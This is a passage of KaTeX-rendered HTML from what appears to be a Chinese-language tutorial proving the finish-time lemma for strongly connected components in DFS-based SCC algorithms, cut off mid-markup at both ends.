mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是连通的，合起来是同一个 SCC，矛盾了。</p></li></ol><blockquote><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>C</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(C)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span></span></span></span> 定义为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi></mrow><annotation encoding="application/x-tex">C</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> 中所有节点的 <code>finish time</code> 的最大值。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>C</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(C)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span></span></span></span> 定义为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi></mrow><annotation encoding="application/x-tex">C</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> 中所有节点的 <code>finish time</code> 的最小值。</p></blockquote><ol start="2"><li><p>图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中有两个不同的 SCC <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>∈</mo><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">u \in C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mo>∈</mo><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">v \in C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，存在边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>&gt;</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(C_1) \gt f(C_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><p>覆盖两种情况：</p><ol><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>≤</mo><mi>d</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(C_1) \le d(C_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>：则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中第一个被发现的节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 必然有一条白色路径通往 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中的所有节点，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> (除去 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 自身) 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中的所有节点都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 的后代。根据后代嵌套区间，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>=</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>&gt;</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x.f = f(C_1) &gt; f(C_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>&gt;</mo><mi>d</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(C_1) \gt d(C_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>：则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中的所有节点在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 第一个节点被访问时还是白色的。又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 没有通向 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的边（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u,v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 只能从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 通向 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>），所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">C_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中的最后一个节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 结束时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">C_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 中的所有节点都还是白色的，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>=</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>&lt;</mo><mi>f</mi><mo stretchy="false">(</mo><msub><mi>C</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">y.f = f(C_2) &lt; f(C_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">.</span><span class="mord 